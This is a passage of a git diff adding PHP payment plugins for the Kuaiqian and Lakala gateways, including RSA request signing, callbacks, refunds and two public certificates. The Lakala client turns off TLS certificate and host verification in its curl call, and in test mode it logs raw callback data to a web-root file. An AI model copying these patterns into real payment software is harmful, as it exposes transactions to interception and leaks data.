$channel['appkey'], $channel['appsecret']); + + $head = [ + 'version' => '1.0.0', + 'messageType' => 'A7003', + 'memberCode' => $channel['appid'], + 'externalRefNumber' => $order['refund_no'], + ]; + if(!empty($channel['appmchid'])){ + $head['memberCode'] = $channel['appmchid']; + $head['vendorMemberCode'] = $channel['appid']; + } + $body = [ + 'merchantId' => $channel['merchant_id'], + 'terminalId' => $channel['terminal_id'], + 'amount' => strval($order['refundmoney'] * 100), + 'origOrderCtrl' => $order['api_trade_no'], + 'origRefNumber' => $order['trade_no'], + 'tr3Url' => $conf['localurl'] . 'pay/notifys/' . TRADE_NO . '/', + ]; + + try{ + $result = $client->execute($head, $body); + if($result['bizResponseCode'] == '0000'){ + return ['code'=>0]; + }else{ + return ['code'=>-1, 'msg'=>'['.$result['bizResponseCode'].']'.$result['bizResponseMessage']]; + } + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //转账 + static public function transfer($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + try{ + $bank_info = getBankCardInfo($bizParam['payee_account']); + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + + require(PAY_ROOT."inc/PayApp.class.php"); + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + $head = [ + 'version' => '1.0.0', + 'messageType' => 'C1017', + 'memberCode' => $channel['appid'], + 'externalRefNumber' => $bizParam['out_biz_no'], + ]; + $body = [ + 'amount' => strval($bizParam['money'] * 100), + 'cardHolderName' => $bizParam['payee_real_name'], + 'bankName' => $bank_info['bank_name'], + 'pan' => $bizParam['payee_account'], + 'reMark' => $bizParam['transfer_desc'], + ]; + + try{ + $result = $client->execute($head, $body); + if($result['bizResponseCode'] == '0000'){ + return ['code'=>0, 'status'=>0, 'orderid'=>$bizParam['out_biz_no'], 'paydate'=>date('Y-m-d H:i:s')]; + }else{ + return ['code'=>-1, 'errcode'=>$result['bizResponseCode'], 'msg'=>'['.$result['bizResponseCode'].']'.$result['bizResponseMessage']]; + } + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //转账查询 + static public function transfer_query($channel, $bizParam){ + if(empty($channel) || empty($bizParam))exit(); + + require(PAY_ROOT."inc/PayApp.class.php"); + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + $head = [ + 'version' => '1.0.0', + 'messageType' => 'C1018', + 'memberCode' => $channel['appid'], + ]; + $body = [ + 'pageNo' => 1, + 'pageSize' => 1, + 'externalRefNumber' => $bizParam['out_biz_no'], + ]; + + try{ + $result = $client->execute($head, $body); + if(!empty($result['detailedList'])){ + $detail = $result['detailedList'][0]; + $status = $detail['txnStatus'] == 'S' ? 1 : 0; + return ['code'=>0, 'status'=>$status]; + }else{ + return ['code'=>-1, 'msg'=>'['.$result['bizResponseCode'].']'.$result['bizResponseMessage']]; + } + }catch(Exception $ex){ + return ['code'=>-1, 'msg'=>$ex->getMessage()]; + } + } + + //投诉通知回调 + static public function complainnotify(){ + global $channel; + + require(PAY_ROOT."inc/PayApp.class.php"); + + $client = new \kuaiqian\PayApp($channel['appid'], $channel['appkey'], $channel['appsecret']); + try{ + $response = $client->notifyProcessComplain($result); + }catch(Exception $ex){ + return ['type'=>'html','data'=>$ex->getMessage()]; + } + + if($result['body']['complaintSource'] == 'ALIPAY_BILL'){ + return ['type'=>'html','data'=>$response]; + } + $model = \lib\Complain\CommUtil::getModel($channel); + $model->refreshNewInfo($result['body']['complaintNo'], $result['body']['actionType']); + + return ['type'=>'html','data'=>$response]; + } + +} \ No newline at end of file diff --git a/plugins/lakala/cert/lkl-apigw-v1.cer b/plugins/lakala/cert/lkl-apigw-v1.cer new file mode 100644 index 0000000..c24d19c --- /dev/null +++ b/plugins/lakala/cert/lkl-apigw-v1.cer @@ -0,0 +1,25 @@ +-----BEGIN CERTIFICATE----- +MIIEMTCCAxmgAwIBAgIGAXUrc4b4MA0GCSqGSIb3DQEBCwUAMHYxCzAJBgNVBAYT +AkNOMRAwDgYDVQQIDAdCZWlKaW5nMRAwDgYDVQQHDAdCZWlKaW5nMRcwFQYDVQQK +DA5MYWthbGEgQ28uLEx0ZDEqMCgGA1UEAwwhTGFrYWxhIE9yZ2FuaXphdGlvbiBW +YWxpZGF0aW9uIENBMB4XDTIwMTAxNTA4NDk1MloXDTMwMTAxMzA4NDk1MlowZTEL +MAkGA1UEBhMCQ04xEDAOBgNVBAgMB0JlaUppbmcxEDAOBgNVBAcMB0JlaUppbmcx +FzAVBgNVBAoMDkxha2FsYSBDby4sTHRkMRkwFwYDVQQDDBBBUElHVy5MQUtBTEEu +Q09NMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwAXZw9lupWcFXouC +Nhm0DQT47Zf4KOIRF8rqT8Ps3pYzT8odROJ8rq4P+lciGrg29czpqrRM22yQktFr +itvcM7JlE6jFbGH3rycnvGvhRYU/j1N9k0ozm8oVwmKX357/OtGzNivBECGSnU9L +Bkp4Nm9M1K4cOwEuZ0xsQEthZjQYF0mDpnlWmVJL5i1Lq834atN2qrb/mzMHBNtD +JnqRV7rPL39lKpe7LJiitsC2JuW1UbWZZU1NNwA/rz2d83C+KD1DLJ0+sMYY2Q3T +OQ4BPAowDEwOH7XAXrHM/0kRm+ZeIFlwevEGIQWmMt1Ogz+AW4Iq0slINc4wOINK +vH9tHwIDAQABo4HVMIHSMIGSBgNVHSMEgYowgYeAFCnH4DkZPR6CZxRn/kIqVsMo +dJHpoWekZTBjMQswCQYDVQQGEwJDTjEQMA4GA1UECAwHQmVpSmluZzEQMA4GA1UE +BwwHQmVpSmluZzEXMBUGA1UECgwOTGFrYWxhIENvLixMdGQxFzAVBgNVBAMMDkxh +a2FsYSBSb290IENBggYBaiUALIowHQYDVR0OBBYEFIya0Yc4OSBer55JLyA0AYe9 +m8mTMAwGA1UdEwEB/wQCMAAwDgYDVR0PAQH/BAQDAgeAMA0GCSqGSIb3DQEBCwUA +A4IBAQCBEwOlk3mXigNv94Drn3dcaY2ml/y+8yNpAIuUhuBE00WFoqEX5lOatFy5 +fzdXuC12lBVQ8SjSm3aH7k2X0eXqDzkOHiur2ZBRKmJ++J4TeenuSUOjSIbQK/DT +vxaqFUjYwFSVCyizpy7wfU4wKt+jOuFb9LyULJ9lkM1dV9Kh7Lmd9+nlJYYuPEPU +LJkkVZqSALSiiJudXnTwlISjZTXEAkJpdIlMw+hvPTAkoG95B95M+OV/uLbItGK+ +qT4+RHWo8EbBDPQYo6J4QYHOxRlfMoGBMyrz6XDt7ELLmT7ld4aE02w6KQPfK3gq +kLDT+/STozvaNmXzBJh7J6KqxJBH +-----END CERTIFICATE----- \ No newline at end of file diff --git a/plugins/lakala/cert/lkl-apigw-v2.cer b/plugins/lakala/cert/lkl-apigw-v2.cer new file mode 100644 index 0000000..12723eb --- /dev/null +++ b/plugins/lakala/cert/lkl-apigw-v2.cer @@ -0,0 +1,25 @@ +-----BEGIN CERTIFICATE----- +MIIEMTCCAxmgAwIBAgIGAXRTgcMnMA0GCSqGSIb3DQEBCwUAMHYxCzAJBgNVBAYT +AkNOMRAwDgYDVQQIDAdCZWlKaW5nMRAwDgYDVQQHDAdCZWlKaW5nMRcwFQYDVQQK +DA5MYWthbGEgQ28uLEx0ZDEqMCgGA1UEAwwhTGFrYWxhIE9yZ2FuaXphdGlvbiBW +YWxpZGF0aW9uIENBMB4XDTIwMTAxMDA1MjQxNFoXDTMwMTAwODA1MjQxNFowZTEL +MAkGA1UEBhMCQ04xEDAOBgNVBAgMB0JlaUppbmcxEDAOBgNVBAcMB0JlaUppbmcx +FzAVBgNVBAoMDkxha2FsYSBDby4sTHRkMRkwFwYDVQQDDBBBUElHVy5MQUtBTEEu +Q09NMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt1zHL54HiI8d2sLJ +lwoQji3/ln0nsvfZ/XVpOjuB+1YR6/0LdxEDMC/hxI6iH2Rm5MjwWz3dmN/6BZeI +gwGeTOWJUZFARo8UduKrlhC6gWMRpAiiGC8wA8stikc5gYB+UeFVZi/aJ0WN0cpP +JYCvPBhxhMvhVDnd4hNohnR1L7k0ypuWg0YwGjC25FaNAEFBYP9EYUyCJjE//9Z7 +sMzHR9SJYCqqo6r9bOH9G6sWKuEp+osuAh+kJIxJMHfipw7w3tEcWG0hce9u/el4 +cYJtg8/PPMVoccKmeCzMvarr7jdKP4lenJbtwlgyfs+JgNu60KMUJH8RS72wC9NY +uFz09wIDAQABo4HVMIHSMIGSBgNVHSMEgYowgYeAFCnH4DkZPR6CZxRn/kIqVsMo +dJHpoWekZTBjMQswCQYDVQQGEwJDTjEQMA4GA1UECAwHQmVpSmluZzEQMA4GA1UE +BwwHQmVpSmluZzEXMBUGA1UECgwOTGFrYWxhIENvLixMdGQxFzAVBgNVBAMMDkxh +a2FsYSBSb290IENBggYBaiUALIowHQYDVR0OBBYEFJ2Kx9YZfmWpkKFnC33C0r5D +K3rFMAwGA1UdEwEB/wQCMAAwDgYDVR0PAQH/BAQDAgeAMA0GCSqGSIb3DQEBCwUA +A4IBAQBZoeU0XyH9O0LGF9R+JyGwfU/O5amoB97VeM+5n9v2z8OCiIJ8eXVGKN9L +tl9QkpTEanYwK30KkpHcJP1xfVkhPi/cCMgfTWQ5eKYC7Zm16zk7n4CP6IIgZIqm +TVGsIGKk8RzWseyWPB3lfqMDR52V1tdA1S8lJ7a2Xnpt5M2jkDXoArl3SVSwCb4D +AmThYhak48M++fUJNYII9JBGRdRGbfJ2GSFdPXgesUL2CwlReQwbW4GZkYGOg9LK +CNPK6XShlNdvgPv0CCR08KCYRwC3HZ0y1F0NjaKzYdGNPrvOq9lA495ONZCvzYDo +gmsu/kd6eqxTs/JwdaIYr4sCMg8Z +-----END CERTIFICATE----- diff --git a/plugins/lakala/inc/LakalaClient.php b/plugins/lakala/inc/LakalaClient.php new file mode 100644 index 0000000..9ff1626 --- /dev/null +++ b/plugins/lakala/inc/LakalaClient.php @@ -0,0 +1,192 @@ +appid = $appid; + $this->platform_cert_file = PLUGIN_ROOT.'lakala/cert/lkl-apigw-v1.cer'; + $this->merchant_cert_file = PLUGIN_ROOT.'lakala/cert/api_cert.cer'; + $this->merchant_private_file = PLUGIN_ROOT.'lakala/cert/api_private_key.pem'; + if(file_exists(PLUGIN_ROOT.'lakala/cert/'.$appid.'.cer') && file_exists(PLUGIN_ROOT.'lakala/cert/'.$appid.'.pem')){ + $this->merchant_cert_file = PLUGIN_ROOT.'lakala/cert/'.$appid.'.cer'; + $this->merchant_private_file = PLUGIN_ROOT.'lakala/cert/'.$appid.'.pem'; + } + if($isTest){ + $this->gateway_url = 'https://test.wsmsd.cn/sit'; + $this->platform_cert_file = PLUGIN_ROOT.'lakala/cert/lkl-apigw-v2.cer'; + } + } + + //发起请求 + public function execute($path, $params) + { + $requrl = $this->gateway_url . $path; + $public_params = [ + 'req_time' => date('YmdHis'), + 'version' => $this->version, + 'req_data' => $params + ]; + + $body = json_encode($public_params, JSON_UNESCAPED_UNICODE); + $authorization = $this->getAuthorization($body); + $this->request_body = $body; + $resp = $this->curl($requrl, $body, $authorization); + $this->response_body = $resp; + $result = json_decode($resp, true); + + if(isset($result['code']) && $result['code'] == 'BBS00000'){ + return $result['resp_data']; + }elseif($result['msg']){ + throw new Exception('['.$result['code'].']'.$result['msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //收银台发起请求 + public function cashier($path, $params) + { + $requrl = $this->gateway_url . $path; + $public_params = [ + 'req_time' => date('YmdHis'), + 'version' => '1.0', + 'req_data' => $params + ]; + + $body = json_encode($public_params, JSON_UNESCAPED_UNICODE); + $authorization = $this->getAuthorization($body); + $this->request_body = $body; + $resp = $this->curl($requrl, $body, $authorization); + $this->response_body = $resp; + $result = json_decode($resp, true); + + if(isset($result['code']) && $result['code'] == '000000'){ + return $result['resp_data']; + }elseif($result['msg']){ + throw new Exception('['.$result['code'].']'.$result['msg']); + }else{ + throw new Exception('返回数据解析失败'); + } + } + + //签名 + public function getAuthorization($body) { + $mchSerialNo = $this->getMchSerialNo(); + $nonceStr = random(12); + $timestamp = time(); + + $message = $this->appid . "\n" . $mchSerialNo . "\n" . $timestamp . "\n" . $nonceStr . "\n" . $body . "\n"; + + $signature = $this->rsaPrivateSign($message); + + return $this->schema . " appid=\"" . $this->appid . "\"," . "serial_no=\"" . $mchSerialNo . "\"," . "timestamp=\"" . $timestamp . "\"," . "nonce_str=\"" . $nonceStr . "\"," . "signature=\"" . $signature . "\""; + } + + //验签 + public function verifySign($authorization, $body) { + $authorization = str_replace($this->schema . " ", "", $authorization); + $authorization = str_replace(",","&", $authorization); + $authorization = str_replace("\"","", $authorization); + $array = $this->convertUrlQuery($authorization); + + if(!isset($array['signature'])) return false; + + $message = $array['timestamp'] . "\n" . $array['nonce_str'] . "\n" . $body . "\n"; + + return $this->rsaPublicVerify($message, $array['signature']); + } + + // 私钥加签 + private function rsaPrivateSign($data) + { + $priKey = file_get_contents($this->merchant_private_file); + $res = openssl_pkey_get_private($priKey); + if(!$res){ + throw new \Exception('私钥加签失败,商户私钥错误'); + } + $result = openssl_sign($data, $sign, $res, OPENSSL_ALGO_SHA256); + if (!$result) throw new \Exception('sign error'); + return base64_encode($sign); + } + + // 公钥验签 + private function rsaPublicVerify($data, $sign) + { + $cert = file_get_contents($this->platform_cert_file); + $res = openssl_pkey_get_public($cert); + if(!$res){ + throw new \Exception('公钥验签失败,平台公钥错误'); + } + $result = (openssl_verify($data, base64_decode($sign), $res, OPENSSL_ALGO_SHA256) === 1); + return $result; + } + + //从商户证书获取序列号 + private function getMchSerialNo(){ + $cert = file_get_contents($this->merchant_cert_file); + $ssl = openssl_x509_parse($cert); + if(!$ssl){ + throw new \Exception('获取证书序列号失败'); + } + return $ssl['serialNumber']; + } + + //请求 + protected function curl($url, $data, $authorization) { + + $headers = [ + "Authorization: " . $authorization, + "Accept: application/json", + "Content-Type: application/json; charset=utf-8", + ]; + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_POSTFIELDS, $data); + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0"); + $res = curl_exec($ch); + curl_close($ch); + return $res; + } + + //签名参数转数组 + private function convertUrlQuery($query) { + $queryParts = explode('&', $query); + + $params = array(); + foreach ($queryParts as $param) { + $item = explode('=', $param); + $params[$item[0]] = $item[1]; + } + if($params['signature']) { + $params['signature'] = substr($query, strrpos($query, 'signature=') + 10); + } + + return $params; + } +} diff --git a/plugins/lakala/lakala_plugin.php b/plugins/lakala/lakala_plugin.php new file mode 100644 index 0000000..e2056f3 --- /dev/null +++ b/plugins/lakala/lakala_plugin.php @@ -0,0 +1,488 @@ + 'lakala', //支付插件英文名称,需和目录名称一致,不能有重复 + 'showname' => '拉卡拉', //支付插件显示名称 + 'author' => '拉卡拉', //支付插件作者 + 'link' => 'https://www.lakala.com/', //支付插件作者链接 + 'types' => ['alipay','wxpay','bank'], //支付插件支持的支付方式,可选的有alipay,qqpay,wxpay,bank + 'inputs' => [ //支付插件要求传入的参数以及参数显示名称,可选的有appid,appkey,appsecret,appurl,appmchid + 'appid' => [ + 'name' => 'APPID', + 'type' => 'input', + 'note' => '', + ], + 'appmchid' => [ + 'name' => '商户号', + 'type' => 'input', + 'note' => '', + ], + 'appkey' => [ + 'name' => '终端号', + 'type' => 'input', + 'note' => '', + ], + 'appselect' => [ + 'name' => '接口类型', + 'type' => 'select', + 'options' => [0=>'聚合扫码',1=>'聚合收银台'], + ], + 'appswitch' => [ + 'name' => '环境选择', + 'type' => 'select', + 'options' => [0=>'生产环境',1=>'测试环境'], + ], + ], + 'select' => null, + 'note' => '将商户证书 api_cert.cer(或APPID.cer)、商户私钥 api_private_key.pem(或APPID.pem)上传到 /plugins/lakala/cert/', //支付密钥填写说明 + 'bindwxmp' => true, //是否支持绑定微信公众号 + 'bindwxa' => true, //是否支持绑定微信小程序 + ]; + + static public function submit(){ + global $siteurl, $channel, $order, $sitename; + + if($channel['appselect'] == 1){ + return ['type'=>'jump','url'=>'/pay/cashier/'.TRADE_NO.'/?type='.$order['typename']]; + }elseif($order['typename']=='alipay'){ + return ['type'=>'jump','url'=>'/pay/alipay/'.TRADE_NO.'/']; + }elseif($order['typename']=='wxpay'){ + if(strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger')!==false && $channel['appwxmp']>0){ + return ['type'=>'jump','url'=>'/pay/wxjspay/'.TRADE_NO.'/']; + }elseif(checkmobile()==true && $channel['appwxa']>0){ + return ['type'=>'jump','url'=>'/pay/wxwappay/'.TRADE_NO.'/']; + }else{ + return ['type'=>'jump','url'=>'/pay/wxpay/'.TRADE_NO.'/']; + } + }elseif($order['typename']=='bank'){ + return ['type'=>'jump','url'=>'/pay/bank/'.TRADE_NO.'/']; + } + } + + static public function mapi(){ + global $siteurl, $channel, $order, $conf, $device, $mdevice; + + if($channel['appselect'] == 1){ + return ['type'=>'jump','url'=>'/pay/cashier/'.TRADE_NO.'/?type='.$order['typename']]; + }elseif($order['typename']=='alipay'){ + return self::alipay(); + }elseif($order['typename']=='wxpay'){ + if($mdevice=='wechat'){ + return self::wxjspay(); + }elseif($device=='mobile' && $channel['appwxa']>0){ + return self::wxwappay(); + }else{ + return self::wxpay(); + } + }elseif($order['typename']=='bank'){ + return self::bank(); + } + } + + //聚合扫码下单 + static private function qrcode($account_type, $trans_type, $extend = null){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + require(PAY_ROOT."inc/LakalaClient.php"); + + $params = [ + 'merchant_no' => $channel['appmchid'], + 'term_no' => $channel['appkey'], + 'out_trade_no' => TRADE_NO, + 'account_type' => $account_type, + 'trans_type' => $trans_type, + 'total_amount' => strval($order['realmoney']*100), + 'location_info' => [ + 'request_ip' => $clientip + ], + 'subject' => $ordername, + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + if($extend){ + $params['acc_busi_fields'] = $extend; + } + + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + + return \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + global $channel; + $result = $client->execute('/api/v3/labs/trans/preorder', $params); + \lib\Payment::updateOrder(TRADE_NO, $result['trade_no']); + if($channel['appswitch']==1){ + echo '
    请求报文:

    返回报文:
    '; + } + return $result['acc_resp_fields']; + }); + } + + //被扫支付 + static public function micropay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $auth_code = $_GET['auth_code']; + if(!$auth_code) return ['type'=>'error','msg'=>'auth_code不能为空']; + + require(PAY_ROOT."inc/LakalaClient.php"); + + $params = [ + 'merchant_no' => $channel['appmchid'], + 'term_no' => $channel['appkey'], + 'out_trade_no' => TRADE_NO, + 'auth_code' => $auth_code, + 'total_amount' => strval($order['realmoney']*100), + 'location_info' => [ + 'request_ip' => $clientip + ], + 'subject' => $ordername, + 'notify_url' => $conf['localurl'] . 'pay/notify/' . TRADE_NO . '/', + ]; + + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + + try{ + $result = \lib\Payment::lockPayData(TRADE_NO, function() use($client, $params) { + global $channel; + $result = $client->execute('/api/v3/labs/trans/micropay', $params); + \lib\Payment::updateOrder(TRADE_NO, $result['trade_no']); + if($channel['appswitch']==1){ + echo '
    请求报文:

    返回报文:
    '; + } + return $result['acc_resp_fields']; + }); + return ['type'=>'error','msg'=>'被扫支付下单成功!'.json_encode($result)]; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'被扫支付下单失败!'.$ex->getMessage()]; + } + } + + //交易查询 + static public function query(){ + global $channel, $order; + + require(PAY_ROOT."inc/LakalaClient.php"); + + $params = [ + 'merchant_no' => $channel['appmchid'], + 'term_no' => $channel['appkey'], + 'out_trade_no' => TRADE_NO, + ]; + + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + + try{ + $result = $client->execute('/api/v3/labs/query/tradequery', $params); + if($channel['appswitch']==1){ + echo '
    请求报文:

    返回报文:
    '; + } + echo '交易查询成功!'.json_encode($result); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'交易查询失败!'.$ex->getMessage()]; + } + } + + //收银台下单 + static public function cashier(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + $pay_type = $_GET['type']; + if($pay_type == 'alipay'){ + $pay_mode = 'ALIPAY'; + }elseif($pay_type == 'wxpay'){ + $pay_mode = 'WECHAT'; + }elseif($pay_type == 'bank'){ + $pay_mode = 'UNION'; + } + + require(PAY_ROOT."inc/LakalaClient.php"); + + $params = [ + 'out_order_no' => TRADE_NO, + 'merchant_no' => $channel['appmchid'], + //'term_no' => $channel['appkey'], + 'total_amount' => strval($order['realmoney']*100), + 'order_efficient_time' => date('YmdHis', time()+1200), + 'notify_url' => $conf['localurl'] . 'pay/cashiernotify/' . TRADE_NO . '/', + 'support_refund' => 1, + 'callback_url' => $siteurl.'pay/return/'.TRADE_NO.'/', + 'order_info' => $ordername, + 'counter_param' => json_encode(['pay_mode'=>$pay_mode]), + ]; + + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + + try{ + $result = $client->cashier('/api/v3/ccss/counter/order/special_create', $params); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'收银台下单失败!'.$ex->getMessage()]; + } + \lib\Payment::updateOrder(TRADE_NO, $result['pay_order_no']); + if($channel['appswitch']==1){ + echo '
    '; + exit; + } + return ['type'=>'jump','url'=>$result['counter_url']]; + } + + //交易查询 + static public function cashierquery(){ + global $channel, $order; + + require(PAY_ROOT."inc/LakalaClient.php"); + + $params = [ + 'merchant_no' => $channel['appmchid'], + 'out_order_no' => TRADE_NO, + ]; + + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + + try{ + $result = $client->cashier('/api/v3/ccss/counter/order/query', $params); + if($channel['appswitch']==1){ + echo '
    请求报文:

    返回报文:
    '; + } + echo '交易查询成功!'.json_encode($result); + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'交易查询失败!'.$ex->getMessage()]; + } + } + + //支付宝扫码支付 + static public function alipay(){ + try{ + $result = self::qrcode('ALIPAY', '41'); + $code_url = $result['code']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'支付宝支付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'alipay_qrcode','url'=>$code_url]; + } + + //微信扫码支付 + static public function wxpay(){ + global $channel, $siteurl; + /*try{ + $result = self::qrcode('WECHAT', '41'); + $code_url = $result['code']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败!'.$ex->getMessage()]; + }*/ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + + if (checkmobile()==true) { + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + } else { + return ['type'=>'qrcode','page'=>'wxpay_qrcode','url'=>$code_url]; + } + } + + //微信公众号支付 + static public function wxjspay(){ + global $siteurl, $channel, $order, $ordername, $conf, $clientip; + + $wxinfo = \lib\Channel::getWeixin($channel['appwxmp']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信公众号不存在']; + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->GetOpenid(); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks) return $blocks; + + try{ + $extend = ['sub_appid' => $wxinfo['appid'], 'user_id' => $openid]; + $result = self::qrcode('WECHAT', '51', $extend); + $pay_info = ['appId'=>$result['app_id'],'timeStamp'=>$result['time_stamp'],'nonceStr'=>$result['nonce_str'],'package'=>$result['package'],'paySign'=>$result['pay_sign'],'signType'=>$result['sign_type']]; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'微信支付下单失败 '.$ex->getMessage()]; + } + + if($_GET['d']=='1'){ + $redirect_url='data.backurl'; + }else{ + $redirect_url='\'/pay/ok/'.TRADE_NO.'/\''; + } + return ['type'=>'page','page'=>'wxpay_jspay','data'=>['jsApiParameters'=>json_encode($pay_info), 'redirect_url'=>$redirect_url]]; + } + + //微信小程序支付 + static public function wxminipay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + $code = isset($_GET['code'])?trim($_GET['code']):exit('{"code":-1,"msg":"code不能为空"}'); + + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo)exit('{"code":-1,"msg":"支付通道绑定的微信小程序不存在"}'); + + try{ + $tools = new \WeChatPay\JsApiTool($wxinfo['appid'], $wxinfo['appsecret']); + $openid = $tools->AppGetOpenid($code); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + $blocks = checkBlockUser($openid, TRADE_NO); + if($blocks)exit('{"code":-1,"msg":"'.$blocks['msg'].'"}'); + + try{ + $extend = ['sub_appid' => $wxinfo['appid'], 'user_id' => $openid]; + $result = self::qrcode('WECHAT', '71', $extend); + $pay_info = ['appId'=>$result['app_id'],'timeStamp'=>$result['time_stamp'],'nonceStr'=>$result['nonce_str'],'package'=>$result['package'],'paySign'=>$result['pay_sign'],'signType'=>$result['sign_type']]; + }catch(Exception $ex){ + exit(json_encode(['code'=>-1, 'msg'=>'微信支付下单失败 '.$ex->getMessage()])); + } + + exit(json_encode(['code'=>0, 'data'=>$pay_info])); + } + + //微信手机支付 + static public function wxwappay(){ + global $siteurl,$channel, $order, $ordername, $conf, $clientip; + + if($channel['appwxa']>0){ + $wxinfo = \lib\Channel::getWeixin($channel['appwxa']); + if(!$wxinfo) return ['type'=>'error','msg'=>'支付通道绑定的微信小程序不存在']; + try{ + $code_url = wxminipay_jump_scheme($wxinfo['id'], TRADE_NO); + }catch(Exception $e){ + return ['type'=>'error','msg'=>$e->getMessage()]; + } + return ['type'=>'scheme','page'=>'wxpay_mini','url'=>$code_url]; + }elseif($channel['appwxmp']>0){ + $code_url = $siteurl.'pay/wxjspay/'.TRADE_NO.'/'; + return ['type'=>'qrcode','page'=>'wxpay_wap','url'=>$code_url]; + }else{ + return self::wxpay(); + } + } + + //云闪付扫码支付 + static public function bank(){ + try{ + $result = self::qrcode('UQRCODEPAY', '41'); + $code_url = $result['code']; + }catch(Exception $ex){ + return ['type'=>'error','msg'=>'云闪付下单失败!'.$ex->getMessage()]; + } + + return ['type'=>'qrcode','page'=>'bank_qrcode','url'=>$code_url]; + } + + //异步回调 + static public function notify(){ + global $channel, $order; + + $json = file_get_contents('php://input'); + if($channel['appswitch']==1){ + file_put_contents('lakala_log.txt',$json); + } + + $data = json_decode($json, true); + if(!$data) return ['type'=>'html','data'=>'no data']; + + $authorization = $_SERVER['HTTP_AUTHORIZATION']; + if(!$authorization) return ['type'=>'html','data'=>'no sign']; + + require(PAY_ROOT."inc/LakalaClient.php"); + + //计算得出通知验证结果 + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + $verify_result = $client->verifySign($authorization, $json); + + if($verify_result) {//验证成功 + $out_trade_no = $data['out_trade_no']; + $api_trade_no = $data['trade_no']; + $total_amount = $data['total_amount']; + $buyer = $data['user_id2']; + + if($data['trade_status'] == 'SUCCESS'){ + if($out_trade_no == TRADE_NO){ + processNotify($order, $api_trade_no, $buyer); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //异步回调 + static public function cashiernotify(){ + global $channel, $order; + + $json = file_get_contents('php://input'); + if($channel['appswitch']==1){ + file_put_contents('lakala_log.txt',$json); + } + + $data = json_decode($json, true); + if(!$data) return ['type'=>'html','data'=>'no data']; + + $authorization = $_SERVER['HTTP_AUTHORIZATION']; + if(!$authorization) return ['type'=>'html','data'=>'no sign']; + + require(PAY_ROOT."inc/LakalaClient.php"); + + //计算得出通知验证结果 + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + $verify_result = $client->verifySign($authorization, $json); + + if($verify_result) {//验证成功 + $out_trade_no = $data['out_order_no']; + $api_trade_no = $data['order_trade_info']['trade_no']; + $total_amount = $data['total_amount']; + $buyer = $data['order_trade_info']['user_id2']; + + if($data['order_status'] == '2'){ + if($out_trade_no == TRADE_NO){ + processNotify($order, $api_trade_no, $buyer); + } + } + return ['type'=>'html','data'=>'success']; + } + else { + //验证失败 + return ['type'=>'html','data'=>'fail']; + } + } + + //支付返回页面 + static public function return(){ + return ['type'=>'page','page'=>'return']; + } + + //退款 + static public function refund($order){ + global $channel, $clientip; + if(empty($order))exit(); + + require(PAY_ROOT."inc/LakalaClient.php"); + + $params = [ + 'merchant_no' => $channel['appmchid'], + 'term_no' => $channel['appkey'], + 'out_trade_no' => $order['refund_no'], + 'refund_amount' => strval($order['refundmoney']*100), + 'origin_out_trade_no' => $order['trade_no'], + 'origin_trade_no' => $order['api_trade_no'], + 'location_info' => [ + 'request_ip' => $clientip + ], + ]; + //print_r($params); + + $client = new LakalaClient($channel['appid'], $channel['appswitch']==1); + try{ + $result = $client->execute('/api/v3/labs/relation/refund', $params); + return ['code'=>0, 'trade_no'=>$result['trade_no'], 'refund_fee'=>$result['refund_amount']/100]; + }catch(Exception $ex){ + return ['code'=>-1, 